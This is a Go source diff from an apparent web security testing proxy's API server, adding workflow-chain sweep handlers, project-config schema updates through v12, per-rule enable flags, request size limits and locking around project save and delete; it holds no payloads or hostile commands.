writeError(w, http.StatusBadRequest, err.Error())
return
}
value, err := base64.StdEncoding.DecodeString(req.Value)
if err != nil {
writeError(w, http.StatusBadRequest, "value is not base64")
return
}
p, err := chain.ProposeBinding(c, req.FromStep, string(value), chain.BindOptions{
Occurrence: req.Occurrence,
Source: req.Source,
ToSteps: req.ToSteps,
Spans: req.Spans,
})
if err != nil {
writeError(w, http.StatusBadRequest, err.Error())
return
}
fresh := make([]chain.Binding, 0, len(p.Targets))
for _, t := range p.Targets {
fresh = append(fresh, t.Binding)
}
keyed := assignBindingIDs(c.Bindings, fresh)
existing := map[string]bool{}
for _, b := range c.Bindings {
existing[bindingKey(b)] = true
}
out := make([]map[string]any, 0, len(keyed))
for i, b := range keyed {
out = append(out, map[string]any{
"binding": b,
"isNew": !existing[bindingKey(b)],
"conflict": p.Targets[i].Conflict,
"note": p.Targets[i].Note,
})
}
writeJSON(w, http.StatusOK, map[string]any{
"var": p.Var,
"recorded": base64.StdEncoding.EncodeToString([]byte(p.Recorded)),
"sources": p.Sources,
"proposed": out,
"warnings": p.Warnings,
})
}
// handleChainStepResponse returns a step's recorded response, decoded.
//
// Decoded here, not in the client: ReadResponse is also what the sources this
// pane produces are evaluated against, so a TypeScript decoder would be a second
// answer to what the step returned. On demand, because chainBody already ships
// every step's raws and a decoded copy would double every chain GET.
func (s *APIServer) handleChainStepResponse(w http.ResponseWriter, r *http.Request) {
c := s.chainStore.Get(r.PathValue("id"))
if c == nil {
writeError(w, http.StatusNotFound, "no such chain")
return
}
st, _, ok := c.StepByID(r.PathValue("stepId"))
if !ok {
writeError(w, http.StatusNotFound, "no such step")
return
}
resp := httptools.ReadResponse(st.RespRaw)
writeJSON(w, http.StatusOK, map[string]any{
"status": resp.Status,
"headers": base64.StdEncoding.EncodeToString(chainHeaderBytes(resp)),
"body": base64.StdEncoding.EncodeToString(resp.Body),
// Verbatim from the parser, so a body this could not decode says which
// encoding defeated it rather than rendering as broken text.
"decoded": resp.Decoded,
"bodyLen": len(resp.Body),
})
}
// chainHeaderBytes re-serializes a parsed response's status line and headers.
// A regex or between source resolves against headers too, so they have to be
// selectable in the pane.
func chainHeaderBytes(resp httptools.Response) []byte {
var b strings.Builder
fmt.Fprintf(&b, "HTTP/1.1 %d\r\n", resp.Status)
names := make([]string, 0, len(resp.Header))
for name := range resp.Header {
names = append(names, name)
}
sort.Strings(names)
for _, name := range names {
for _, v := range resp.Header.Values(name) {
fmt.Fprintf(&b, "%s: %s\r\n", name, v)
}
}
return []byte(b.String())
}
+281
View File
@@ -0,0 +1,281 @@
package api
import (
"context"
"encoding/base64"
"fmt"
"net/http"
"strconv"
"strings"
"github.com/BishopFox/joro/internal/chain"
"github.com/BishopFox/joro/internal/chainrun"
"github.com/BishopFox/joro/internal/proxy"
)
// chainRunRequest starts a sweep. A single-variant run is a sweep of one, which
// is why there is one endpoint and one runner rather than two of each.
type chainRunRequest struct {
ChainID string `json:"chainId"`
Kinds []string `json:"kinds"`
// VariantIDs narrows a sweep to specific variants, for re-running one row of
// a grid without re-running the whole thing. The baseline is always included
// regardless: it is the comparison basis, and a run without it has nothing
// to compare against.
VariantIDs []string `json:"variantIds,omitempty"`
AllowStateChanging bool `json:"allowStateChanging"`
DelayMs int `json:"delayMs"`
TimeoutMs int `json:"timeoutMs"`
BudgetMs int `json:"budgetMs"`
}
func (s *APIServer) handleChainRunStart(w http.ResponseWriter, r *http.Request) {
var req chainRunRequest
if err := decodeJSON(r, &req); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
ch := s.chainStore.Get(req.ChainID)
if ch == nil {
writeError(w, http.StatusNotFound, "no such chain")
return
}
variants := chain.GenerateVariants(ch, req.Kinds)
if len(req.VariantIDs) > 0 {
variants = filterVariants(variants, req.VariantIDs)
}
cfg := chainrun.Config{
ChainID: ch.ID,
Chain: ch,
Variants: variants,
AllowStateChanging: req.AllowStateChanging,
DelayMs: req.DelayMs,
TimeoutMs: req.TimeoutMs,
BudgetMs: req.BudgetMs,
}
total, err := chainrun.Plan(cfg)
if err != nil {
writeError(w, http.StatusBadRequest, err.Error())
return
}
// One at a time, globally. Two sweeps against one application interleave on
// its own state and both produce verdicts describing the interleaving. This
// refuses rather than queueing, because a queue would hide the constraint
// behind a wait and the operator would never learn why it exists. The claim
// and the insert are one operation, so two requests cannot both pass.
run := chainrun.NewRun(proxy.GenerateID(), cfg, total)
if running := s.chainRuns.AddIfIdle(run); running != nil {
writeError(w, http.StatusConflict,
fmt.Sprintf("a run of %q is already in flight; stop it before starting another", running.ChainName))
return
}
deps := chainrun.Deps{Send: s.specSendDeps(), Broadcast: s.hub.Broadcast()}
// context.Background, not the request's: a sweep outlives the HTTP call that
// started it.
go chainrun.Execute(context.Background(), run, deps)
writeJSON(w, http.StatusCreated, map[string]any{
"runId": run.ID, "total": total, "variants": len(variants),
"warnings": s.chainRunWarnings(ch, variants, total),
})
}
// filterVariants narrows a generated set, always keeping the baseline.
func filterVariants(all []chain.Variant, ids []string) []chain.Variant {
want := make(map[string]bool, len(ids))
for _, id := range ids {
want[id] = true
}
out := make([]chain.Variant, 0, len(ids)+1)
for _, v := range all {
if v.Kind == chain.VariantBaseline || want[v.ID] {
out = append(out, v)
}
}
return out
}
// chainRunWarnings reports what a sweep is about to do, before it does it.
//
// The request count is the number an operator is surprised by: a seven-step
// checkout with three mutation kinds is not seven requests, it is most of a
// hundred, and a dozen of them are real POSTs to a payment endpoint.
func (s *APIServer) chainRunWarnings(ch *chain.Chain, variants []chain.Variant, total int) []string {
out := []string{}
if methods := chain.StateChangingMethods(ch); len(methods) > 0 {
var targets []string
seen := map[string]bool{}
for _, st := range ch.Steps {
m := chain.MethodOf(st.ReqRaw)
if m == "" || m == "GET" || m == "HEAD" || m == "OPTIONS" {
continue
}
key := m + " " + chain.TargetOf(st.ReqRaw)
if !seen[key] {
seen[key] = true
targets = append(targets, st.Label)
}
}
if len(targets) > 3 {
targets = append(targets[:3], fmt.Sprintf("and %d more", len(targets)-3))
}
out = append(out, fmt.Sprintf(
"%d variants will send %d requests, including %s to %s — each variant repeats these for real",
len(variants), total, strings.Join(methods, "/"), strings.Join(targets, ", ")))
} else {
out = append(out, fmt.Sprintf("%d variants will send %d requests", len(variants), total))
}
if s.settings.InterceptEnabled {
out = append(out, fmt.Sprintf(
"request intercept is armed, so all %d requests will pause in the Intercept queue", total))
}
if total > 500 {
out = append(out, fmt.Sprintf(
"%d requests will be captured into History, which may evict older traffic from the capture buffer", total))
}
return out
}
// handleChainPlan reports what a sweep would do without starting it, so the
// warnings and the request count can be shown beside the arming checkbox rather
// than only after the operator has committed.
func (s *APIServer) handleChainPlan(w http.ResponseWriter, r *http.Request) {
ch := s.chainStore.Get(r.PathValue("id"))
if ch == nil {
writeError(w, http.StatusNotFound, "no such chain")
return
}
kinds := strings.Split(r.URL.Query().Get("kinds"), ",")
variants := chain.GenerateVariants(ch, kinds)
total, err := chain.Plan(ch, variants)
resp := map[string]any{
"variants": variants,
"total": total,
"warnings": s.chainRunWarnings(ch, variants, total),
"methods": chain.StateChangingMethods(ch),
}
if err != nil {
resp["error"] = err.Error()
}
writeJSON(w, http.StatusOK, resp)
}
func (s *APIServer) handleChainListRuns(w http.ResponseWriter, r *http.Request) {
runs := s.chainRuns.List()
out := make([]map[string]any, 0, len(runs))
for _, run := range runs {
out = append(out, chainRunHead(run))
}
writeJSON(w, http.StatusOK, map[string]any{"runs": out})
}
func chainRunHead(run *chainrun.Run) map[string]any {
completed, errs, unresolved, bypassed := run.Counts()
return map[string]any{
"id": run.ID, "chainId": run.ChainID, "chainName": run.ChainName,
"status": string(run.Status()), "total": run.Total, "stride": run.Stride,
"completed": completed, "errors": errs, "unresolved": unresolved, "bypassed": bypassed,
"createdAt": run.CreatedAt,
}
}
func (s *APIServer) handleChainGetRun(w http.ResponseWriter, r *http.Request) {
run := s.chainRuns.Get(r.PathValue("id"))
if run == nil {
writeError(w, http.StatusNotFound, "no such run")
return
}
results := run.Results()
offset, limit := pageParams(r, len(results))
// Materialized, never nil: a nil slice marshals as null against a client
// type that says array. See chain.Chain.Normalize.
page := []chainrun.Result{}
if offset < len(results) {
end := min(offset+limit, len(results))
page = results[offset:end]
}
body := chainRunHead(run)
body["steps"] = run.Steps
body["variants"] = run.Variants
body["verdicts"] = run.Verdicts()
body["results"] = page
body["resultTotal"] = len(results)
body["offset"] = offset
body["limit"] = limit
writeJSON(w, http.StatusOK, body)
}
func (s *APIServer) handleChainGetGrid(w http.ResponseWriter, r *http.Request) {
run := s.chainRuns.Get(r.PathValue("id"))
if run == nil {
writeError(w, http.StatusNotFound, "no such run")
return
}
writeJSON(w, http.StatusOK, chainrun.Grid(run))
}
// handleChainGetResult returns one instance including its raw bytes, fetched on
// demand rather than streamed, as the fuzzer's and sj's detail endpoints are.
func (s *APIServer) handleChainGetResult(w http.ResponseWriter, r *http.Request) {
run := s.chainRuns.Get(r.PathValue("id"))
if run == nil {
writeError(w, http.StatusNotFound, "no such run")
return
}
idx, err := strconv.Atoi(r.PathValue("index"))
if err != nil {
writeError(w, http.StatusBadRequest, "index must be a number")
return
}
res, ok := run.ResultAt(idx)
if !ok {
writeError(w, http.StatusNotFound, "no such result")
return
}
reqRaw, respRaw := res.ReqRaw, res.RespRaw
res.ReqRaw, res.RespRaw = nil, nil
writeJSON(w, http.StatusOK, map[string]any{
"result": res,
"reqRaw": base64.StdEncoding.EncodeToString(reqRaw),
"respRaw": base64.StdEncoding.EncodeToString(respRaw),
})
}
func (s *APIServer) handleChainStopRun(w http.ResponseWriter, r *http.Request) {
run := s.chainRuns.Get(r.PathValue("id"))
if run == nil {
writeError(w, http.StatusNotFound, "no such run")
return
}
if !run.Stop() {
writeError(w, http.StatusConflict, "run is not running")
return
}
writeJSON(w, http.StatusOK, map[string]any{"stopped": true})
}
func (s *APIServer) handleChainDeleteRun(w http.ResponseWriter, r *http.Request) {
run := s.chainRuns.Get(r.PathValue("id"))
if run == nil {
writeError(w, http.StatusNotFound, "no such run")
return
}
if run.Status() == chainrun.StatusRunning {
writeError(w, http.StatusConflict, "stop the run before deleting it")
return
}
s.chainRuns.Delete(run.ID)
writeJSON(w, http.StatusOK, map[string]any{"deleted": true})
}
+250 -26
View File
@@ -11,11 +11,16 @@ import (
"log"
"net/http"
"slices"
"strings"
"time"
"github.com/BishopFox/joro/internal/browser"
"github.com/BishopFox/joro/internal/chain"
"github.com/BishopFox/joro/internal/configstore"
"github.com/BishopFox/joro/internal/detect"
"github.com/BishopFox/joro/internal/echo"
"github.com/BishopFox/joro/internal/proxy"
"github.com/BishopFox/joro/internal/techfp"
"github.com/hashicorp/go-uuid"
)
@@ -61,12 +66,18 @@ type projectReplaceRule struct {
MatchType string `json:"matchType"`
Match string `json:"match"`
Replace string `json:"replace"`
// Disabled persists the per-rule opt-out as a disabled flag (absent = enabled),
// so an existing .joro written before this field loads every rule enabled with no
// version bump or normalizeProjectConfig backfill.
Disabled bool `json:"disabled,omitempty"`
}
type projectCustomItem struct {
Type string `json:"type"`
Name string `json:"name"`
Value string `json:"value"`
// Disabled: see projectReplaceRule.Disabled.
Disabled bool `json:"disabled,omitempty"`
}
type projectNote struct {
@@ -100,6 +111,8 @@ type projectDetectConfig struct {
SkipContentTypes []string `json:"skipContentTypes,omitempty"`
SkipExtensions []string `json:"skipExtensions,omitempty"`
ExcludeHosts []string `json:"excludeHosts,omitempty"`
AnomalyEnabled bool `json:"anomalyEnabled,omitempty"`
AnomalySensitivity string `json:"anomalySensitivity,omitempty"`
}
// projectDetectRule is a custom detection rule as persisted. Unlike the scope,
@@ -205,6 +218,38 @@ type projectConfigFile struct {
// belongs here; the automations themselves are code and live on disk, because a
// project config is published to teammates. Added in schema v7.
AutomationStates map[string]string `json:"automationStates,omitempty"`
// Chains are the Chain tab's workflow chains (schema v8).
//
// Stored as the live type rather than a trimmed DTO, unlike every field
// above. There is nothing to trim: a chain is already exactly the recorded
// bytes plus the bindings over them, its json tags are explicit, and a
// parallel struct here would be a second definition of the same shape with
// no field to leave out. The raws ride as base64 because that is what
// encoding/json does with []byte.
Chains []*chain.Chain `json:"chains,omitempty"`
// EchoConfig is the reflection mapper's settings (schema v9). Only the
// settings travel: the map itself is derived from history and a rescan
// rebuilds it, so persisting it would store a second copy of captured
// traffic that a project load could not keep in step with the first.
EchoConfig *echo.Config `json:"echoConfig,omitempty"`
// ActiveScanDisabledRules lists the active-scan rule IDs the operator turned
// off (schema v10). Only the exceptions travel, so a project that never
// touched them decodes to nil and runs every rule — no normalize gate needed,
// for the same reason EchoConfig/Chains above need none.
ActiveScanDisabledRules []string `json:"activeScanDisabledRules,omitempty"`
// ActiveScanDisabledSignatures is the legacy (schema v11) flat list of disabled
// template-signature IDs. Read-only now: it is folded into
// ActiveScanDisabledItems["templatesig"] on load so old projects still restore.
ActiveScanDisabledSignatures []string `json:"activeScanDisabledSignatures,omitempty"`
// ActiveScanDisabledItems holds each catalog rule's disabled item IDs, keyed by
// rule id (schema v12). Generalizes ActiveScanDisabledSignatures to every rule
// with a catalog (template signatures + the injection rules). Exceptions-only.
ActiveScanDisabledItems map[string][]string `json:"activeScanDisabledItems,omitempty"`
}
// encodePluginStates base64-encodes each blob for transport inside a JSON
@@ -281,13 +326,13 @@ func (s *APIServer) buildProjectConfig(autoSave, saveHistory bool) projectConfig
replaceRules := s.replace.Rules()
pReplaceRules := make([]projectReplaceRule, len(replaceRules))
for i, r := range replaceRules {
pReplaceRules[i] = projectReplaceRule{Target: r.Target, MatchType: r.MatchType, Match: r.Match, Replace: r.Replace}
pReplaceRules[i] = projectReplaceRule{Target: r.Target, MatchType: r.MatchType, Match: r.Match, Replace: r.Replace, Disabled: !r.Enabled}
}
customItems := s.customData.Items()
pCustomItems := make([]projectCustomItem, len(customItems))
for i, item := range customItems {
pCustomItems[i] = projectCustomItem{Type: item.Type, Name: item.Name, Value: item.Value}
pCustomItems[i] = projectCustomItem{Type: item.Type, Name: item.Name, Value: item.Value, Disabled: !item.Enabled}
}
var pNotes []projectNote
@@ -335,11 +380,25 @@ func (s *APIServer) buildProjectConfig(autoSave, saveHistory bool) projectConfig
dEnabled, dCfg, dDisabled, dOverrides, dRules, dFindings := s.detectStateForProject()
var echoCfg *echo.Config
if s.echoEngine != nil {
c := s.echoEngine.Config()
echoCfg = &c
}
var activeScanDisabled []string
if s.activeScanRules != nil {
activeScanDisabled = s.activeScanRules.Disabled()
}
activeScanDisabledItems := s.collectDisabledItems()
return projectConfigFile{
// v7 added AutomationStates. No normalizeProjectConfig gate: an absent map
// decodes to nil, which is the correct default — a backfill exists only where
// the zero value would be wrong, as it was for autoSave and detectEnabled.
Version: 7,
// v12 generalized disabled signatures to ActiveScanDisabledItems (per-rule
// catalog disables); v10 added ActiveScanDisabledRules; v9 added EchoConfig; v8
// Chains; v7 AutomationStates. None needs a normalizeProjectConfig gate: all
// decode to nil when absent, which is the correct default — and the legacy v11
// ActiveScanDisabledSignatures is folded into the map on apply.
Version: 12,
AutoSave: autoSave,
SaveHistory: saveHistory,
ListenerURL: listenerURL,
@@ -370,6 +429,11 @@ func (s *APIServer) buildProjectConfig(autoSave, saveHistory bool) projectConfig
// and dropping its bookkeeping would lose the operator who does have it their
// state the first time anyone else saves.
AutomationStates: encodePluginStates(mergePluginStates(automationGhost, automationFresh)),
Chains: s.chainStore.List(),
EchoConfig: echoCfg,
ActiveScanDisabledRules: activeScanDisabled,
ActiveScanDisabledItems: activeScanDisabledItems,
}
}
@@ -546,17 +610,50 @@ func (s *APIServer) liveStateSignature() string {
s.mu.RLock()
hlCount := len(s.highlights)
s.mu.RUnlock()
return fmt.Sprintf("r%d/s%d/n%d/u%d/h%d/sc%s/rp%d/cd%d/no%d",
// Chains contribute a revision as well as a count, for the reason
// automationSignature does: editing a chain's bindings leaves the number of
// chains identical, and a count alone would let that edit go unsaved.
var chainCount int
var chainRev uint64
if s.chainStore != nil {
chainCount, chainRev = s.chainStore.Count(), s.chainStore.Revision()
}
// Only the reflection settings are saved, so only they are fingerprinted:
// the map's own revision changes on every analyzed response and would force
// a project save every tick while proxying.
echoSig := ""
if s.echoEngine != nil {
c := s.echoEngine.Config()
echoSig = fmt.Sprintf("/ec%v.%d.%d.%d", c.Enabled, c.MinValueLen,
c.TransformDepth, c.MaxBodyScanBytes)
}
// Only the active-rule toggles persist, so only they are fingerprinted — not
// the run list, which is session state.
activeScanSig := ""
if s.activeScanRules != nil {
activeScanSig = "/as" + strings.Join(s.activeScanRules.Disabled(), ",")
}
activeScanSig += s.disabledItemsSignature()
return fmt.Sprintf("r%d/s%d/n%d/u%d/h%d/sc%s/rp%d/cd%d/no%d/lc%d.%d",
reqCount, lastSeq, noteCount, maxNoteUpdate, hlCount,
scopeSignature(s.scope.Rules()), len(s.replace.Rules()),
len(s.customData.Items()), len(s.noise.Patterns())) +
s.detectSignature() + s.automationSignature()
len(s.customData.Items()), len(s.noise.Patterns()), chainCount, chainRev) +
s.detectSignature() + s.automationSignature() + echoSig + activeScanSig
}
// saveProject snapshots live state to the named project's .joro (respecting its
// saveHistory pref), refreshes its sidecar, and marks it active. Shared by the
// manual save handler, the switch handler, and the auto-save loop.
func (s *APIServer) saveProject(name string) error {
s.projectFileMu.Lock()
defer s.projectFileMu.Unlock()
return s.saveProjectLocked(name)
}
// saveProjectLocked is saveProject's body, callable by a caller that already
// holds projectFileMu because its decision to save has to be atomic with the
// write — see autoSaveTick.
func (s *APIServer) saveProjectLocked(name string) error {
autoSave, saveHistory := s.resolveProjectPrefs(name)
cfg := s.buildProjectConfig(autoSave, saveHistory)
gzBytes, err := gzipJSON(cfg)
@@ -613,6 +710,35 @@ func (s *APIServer) resetLiveProjectState() {
// An automation session belongs to the engagement it authenticated against.
s.capContexts.ResetAll()
// So do the loaded API description documents: their source bytes are the
// previous target's, and their auth profiles hold credentials the operator
// typed. The client drops its own SJ state on a project change; without this
// the server kept both, keyed by ids nothing referenced any more.
if s.specStore != nil {
s.specStore.Clear()
}
// And so do the workflow chains. A chain holds recorded request and response
// bytes from the previous target, so carrying one into an empty project would
// bring that engagement's traffic with it — the thing clearing the capture
// store above exists to prevent. Unlike a project switch, which loads the
// incoming project's chains over these, there is nothing to load here.
if s.chainStore != nil {
s.chainStore.Clear()
}
if s.chainRuns != nil {
s.chainRuns.Clear()
}
if s.activeScans != nil {
s.activeScans.Clear()
}
// The reflection map describes the previous engagement's traffic, so it goes
// with it; the settings return to their defaults alongside.
if s.echoEngine != nil {
s.echoStore.Clear()
s.echoEngine.SetConfig(echo.DefaultConfig())
}
// An automation's key/value state describes the engagement it was gathered in.
if s.automationStorage != nil {
s.automationStorage.Reset()
@@ -693,6 +819,56 @@ func (s *APIServer) applyProjectConfig(cfg *projectConfigFile, name string, pres
// it does not survive into a different project.
s.capContexts.ResetAll()
// Nor do the loaded API description documents: their source bytes describe
// the previous target, and their auth profiles hold credentials the operator
// typed. The client clears its own SJ state on a project change; this is the
// server half, without which both sat in memory keyed by ids nothing
// referenced — and unreadable, since the profile endpoint reports only that a
// credential exists, never its value.
if s.specStore != nil {
s.specStore.Clear()
}
// Chains themselves DO travel with the project, so they are loaded below
// rather than cleared. Their runs do not: a run's results reference History
// rows from the previous engagement, and its verdicts were computed against
// a baseline measured there.
if s.chainRuns != nil {
s.chainRuns.Clear()
}
if s.activeScans != nil {
s.activeScans.Clear()
}
if s.chainStore != nil {
s.chainStore.ReplaceAll(cfg.Chains)
}
// The reflection map is derived from the history being replaced, so it is
// cleared rather than loaded; its settings are project data and are applied.
// An older file carries none, and the defaults are the right answer there.
if s.echoEngine != nil {
s.echoStore.Clear()
if cfg.EchoConfig != nil {
s.echoEngine.SetConfig(*cfg.EchoConfig)
} else {
s.echoEngine.SetConfig(echo.DefaultConfig())
}
}
// Active-rule toggles are project data; a nil slice (an older file, or a
// project that never changed them) clears the disabled set, so every rule runs.
if s.activeScanRules != nil {
s.activeScanRules.SetDisabled(cfg.ActiveScanDisabledRules)
}
// Per-catalog-item disables, keyed by rule id; a missing key clears that rule's
// set. Fold the legacy v11 flat signature list into the template rule's entry so
// old project files still restore.
items := cfg.ActiveScanDisabledItems
if items == nil && len(cfg.ActiveScanDisabledSignatures) > 0 {
items = map[string][]string{"templatesig": cfg.ActiveScanDisabledSignatures}
}
s.applyDisabledItems(items)
// Apply team server settings.
s.mu.Lock()
nickname := cfg.TeamNickname
@@ -730,14 +906,14 @@ func (s *APIServer) applyProjectConfig(cfg *projectConfigFile, name string, pres
replaceRules := make([]proxy.MatchReplaceRule, len(cfg.ReplaceRules))
for i, r := range cfg.ReplaceRules {
replaceRules[i] = proxy.MatchReplaceRule{ID: proxy.GenerateID(), Target: r.Target, MatchType: r.MatchType, Match: r.Match, Replace: r.Replace}
replaceRules[i] = proxy.MatchReplaceRule{ID: proxy.GenerateID(), Target: r.Target, MatchType: r.MatchType, Match: r.Match, Replace: r.Replace, Enabled: !r.Disabled}
}
s.replace.SetEnabled(cfg.ReplaceEnabled)
s.replace.SetRules(replaceRules)
customItems := make([]proxy.CustomAddition, len(cfg.CustomDataItems))
for i, item := range cfg.CustomDataItems {
customItems[i] = proxy.CustomAddition{ID: proxy.GenerateID(), Type: item.Type, Name: item.Name, Value: item.Value}
customItems[i] = proxy.CustomAddition{ID: proxy.GenerateID(), Type: item.Type, Name: item.Name, Value: item.Value, Enabled: !item.Disabled}
}
s.customData.SetEnabled(cfg.CustomDataEnabled)
s.customData.SetItems(customItems)
@@ -797,6 +973,14 @@ func (s *APIServer) applyProjectConfig(cfg *projectConfigFile, name string, pres
detectResp := s.applyDetectProjectConfig(cfg)
s.resetDetectCursor(s.store.LastSeq())
// The fingerprint cursor was just parked forward past the loaded history, so the
// live loop would skip it. Backfill the loaded hosts with a background rescan —
// tech data is cheap and tag-only (unlike detect's findings, which is why detect
// requires an explicit rescan). Clear:true drops the previous project's tags.
if s.techEngine != nil && s.store.Count() > 0 {
s.techEngine.StartRescan(s.detectBackgroundCtx(), techfp.RescanRequest{Scope: "all", Clear: true})
}
var unknownPluginStates []string
if s.pluginManager != nil {
unknownPluginStates = s.pluginManager.ApplyProjectStates(decodedPluginStates)
@@ -907,7 +1091,7 @@ func (s *APIServer) handleSaveUserConfig(w http.ResponseWriter, r *http.Request)
HiddenTabs []string `json:"hiddenTabs"`
DashboardLayout json.RawMessage `json:"dashboardLayout"`
}
if err := json.NewDecoder(r.Body).Decode(&body); err != nil {
if err := decodeJSON(r, &body); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
@@ -1059,7 +1243,7 @@ func (s *APIServer) handleSaveProjectConfig(w http.ResponseWriter, r *http.Reque
var body struct {
Name string `json:"name"`
}
if err := json.NewDecoder(r.Body).Decode(&body); err != nil {
if err := decodeJSON(r, &body); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
@@ -1117,7 +1301,7 @@ func (s *APIServer) handleSwitchProject(w http.ResponseWriter, r *http.Request)
Action string `json:"action"`
SaveScratchAs string `json:"saveScratchAs"`
}
if err := json.NewDecoder(r.Body).Decode(&body); err != nil {
if err := decodeJSON(r, &body); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
@@ -1201,7 +1385,7 @@ func (s *APIServer) handleSetProjectPrefs(w http.ResponseWriter, r *http.Request
AutoSave *bool `json:"autoSave"`
SaveHistory *bool `json:"saveHistory"`
}
if err := json.NewDecoder(r.Body).Decode(&body); err != nil {
if err := decodeJSON(r, &body); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
@@ -1209,6 +1393,11 @@ func (s *APIServer) handleSetProjectPrefs(w http.ResponseWriter, r *http.Request
writeError(w, http.StatusBadRequest, err.Error())
return
}
// Held across the existence check and the sidecar rewrite so a concurrent
// delete cannot leave a .meta.json behind with no project to describe.
s.projectFileMu.Lock()
defer s.projectFileMu.Unlock()
if _, statErr := s.configStore.Stat("project", body.Name); statErr != nil {
writeError(w, http.StatusNotFound, "project not found")
return
@@ -1239,7 +1428,7 @@ func (s *APIServer) handleNewProject(w http.ResponseWriter, r *http.Request) {
Action string `json:"action"`
SaveScratchAs string `json:"saveScratchAs"`
}
if err := json.NewDecoder(r.Body).Decode(&body); err != nil {
if err := decodeJSON(r, &body); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
@@ -1299,18 +1488,51 @@ func (s *APIServer) handleNewProject(w http.ResponseWriter, r *http.Request) {
writeJSON(w, http.StatusOK, map[string]any{"status": "created", "name": body.Name, "empty": body.Empty})
}
// handleDeleteProjectConfig removes a project's files and its testing-browser
// profile. Deleting the active project deliberately does NOT call
// resetLiveProjectState: the file goes, but the operator's loaded traffic, notes
// and findings stay put as an unnamed scratch session they can save under a new
// name. Only the name is dropped.
func (s *APIServer) handleDeleteProjectConfig(w http.ResponseWriter, r *http.Request) {
name := r.PathValue("name")
if err := s.configStore.DeleteAll("project", name); err != nil {
if err := configstore.ValidateName(name); err != nil {
writeError(w, http.StatusBadRequest, err.Error())
return
}
wasActive := false
err := func() error {
s.projectFileMu.Lock()
defer s.projectFileMu.Unlock()
// Clearing the active name inside the file lock is half of the pair that
// keeps a deleted project deleted: autoSaveTick re-reads the name after
// taking this same lock, so it observes either a name to save or the
// blank we leave here, never a name whose file we are about to unlink.
s.mu.Lock()
if s.activeProjectConfig == name {
s.activeProjectConfig = ""
wasActive = true
}
s.mu.Unlock()
return s.configStore.DeleteAll("project", name)
}()
if err != nil {
writeError(w, http.StatusNotFound, err.Error())
return
}
s.mu.Lock()
if s.activeProjectConfig == name {
s.activeProjectConfig = ""
// Best-effort: the profile holds this engagement's cookies and has no meaning
// without the project. A failure here is not the operator's problem to
// retry — the project file is already gone, so reporting 500 would say the
// delete failed when it did not. The usual cause is a testing browser still
// open on the profile.
if err := browser.RemoveProfile(s.profileDirFor(name)); err != nil {
log.Printf("[project] deleted %q but its browser profile remains: %v", name, err)
}
s.mu.Unlock()
writeJSON(w, http.StatusOK, map[string]string{"status": "deleted"})
writeJSON(w, http.StatusOK, map[string]any{"status": "deleted", "wasActive": wasActive})
}
// --- Shared project config export/import + collaboration apply ---
@@ -1356,7 +1578,8 @@ func (s *APIServer) handleImportSharedConfig(w http.ResponseWriter, r *http.Requ
Name string `json:"name"`
Config string `json:"config"` // base64(gzipped projectConfigFile)
}
if err := json.NewDecoder(r.Body).Decode(&body); err != nil {
// Config is a whole project snapshot, history included, gzipped then base64'd.
if err := decodeJSONLimit(r, &body, maxProjectImportBytes); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
@@ -1409,7 +1632,8 @@ func (s *APIServer) handleApplySharedConfig(w http.ResponseWriter, r *http.Reque
Config sharedConfigPayload `json:"config"`
Mode string `json:"mode"`
}
if err := json.NewDecoder(r.Body).Decode(&body); err != nil {
// Bulk: a shared config carries whole scope and Match & Replace rule sets.
if err := decodeJSONLimit(r, &body, maxBulkJSONBody); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
@@ -1446,7 +1670,7 @@ func (s *APIServer) handleApplySharedConfig(w http.ResponseWriter, r *http.Reque
continue
}
replaceRules = append(replaceRules, proxy.MatchReplaceRule{
ID: proxy.GenerateID(), Target: r.Target, MatchType: r.MatchType, Match: r.Match, Replace: r.Replace,
ID: proxy.GenerateID(), Target: r.Target, MatchType: r.MatchType, Match: r.Match, Replace: r.Replace, Enabled: !r.Disabled,
})
}
s.replace.SetRules(replaceRules)
@@ -1462,7 +1686,7 @@ func (s *APIServer) handleApplySharedConfig(w http.ResponseWriter, r *http.Reque
continue
}
customItems = append(customItems, proxy.CustomAddition{
ID: proxy.GenerateID(), Type: it.Type, Name: it.Name, Value: it.Value,
ID: proxy.GenerateID(), Type: it.Type, Name: it.Name, Value: it.Value, Enabled: !it.Disabled,
})
}
s.customData.SetItems(customItems)
+18 -3
View File
@@ -1,7 +1,6 @@
package api
import (
"encoding/json"
"net/http"
"github.com/BishopFox/joro/internal/proxy"
@@ -22,7 +21,7 @@ func (s *APIServer) handleSetCustomDataEnabled(w http.ResponseWriter, r *http.Re
var body struct {
Enabled bool `json:"enabled"`
}
if err := json.NewDecoder(r.Body).Decode(&body); err != nil {
if err := decodeJSON(r, &body); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
@@ -36,7 +35,7 @@ func (s *APIServer) handleAddCustomDataItem(w http.ResponseWriter, r *http.Reque
Name string `json:"name"`
Value string `json:"value"`
}
if err := json.NewDecoder(r.Body).Decode(&body); err != nil {
if err := decodeJSON(r, &body); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
@@ -57,6 +56,22 @@ func (s *APIServer) handleAddCustomDataItem(w http.ResponseWriter, r *http.Reque
writeJSON(w, http.StatusCreated, item)
}
func (s *APIServer) handleSetCustomDataItemEnabled(w http.ResponseWriter, r *http.Request) {
id := r.PathValue("id")
var body struct {
Enabled bool `json:"enabled"`
}
if err := decodeJSON(r, &body); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
if !s.customData.SetItemEnabled(id, body.Enabled) {
writeError(w, http.StatusNotFound, "item not found")
return
}
writeJSON(w, http.StatusOK, map[string]any{"id": id, "enabled": body.Enabled})
}
func (s *APIServer) handleDeleteCustomDataItem(w http.ResponseWriter, r *http.Request) {
id := r.PathValue("id")
if !s.customData.RemoveItem(id) {
+16 -8
View File
@@ -61,7 +61,7 @@ func (s *APIServer) handleSetDetectEnabled(w http.ResponseWriter, r *http.Reques
var body struct {
Enabled bool `json:"enabled"`
}
if err := json.NewDecoder(r.Body).Decode(&body); err != nil {
if err := decodeJSON(r, &body); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
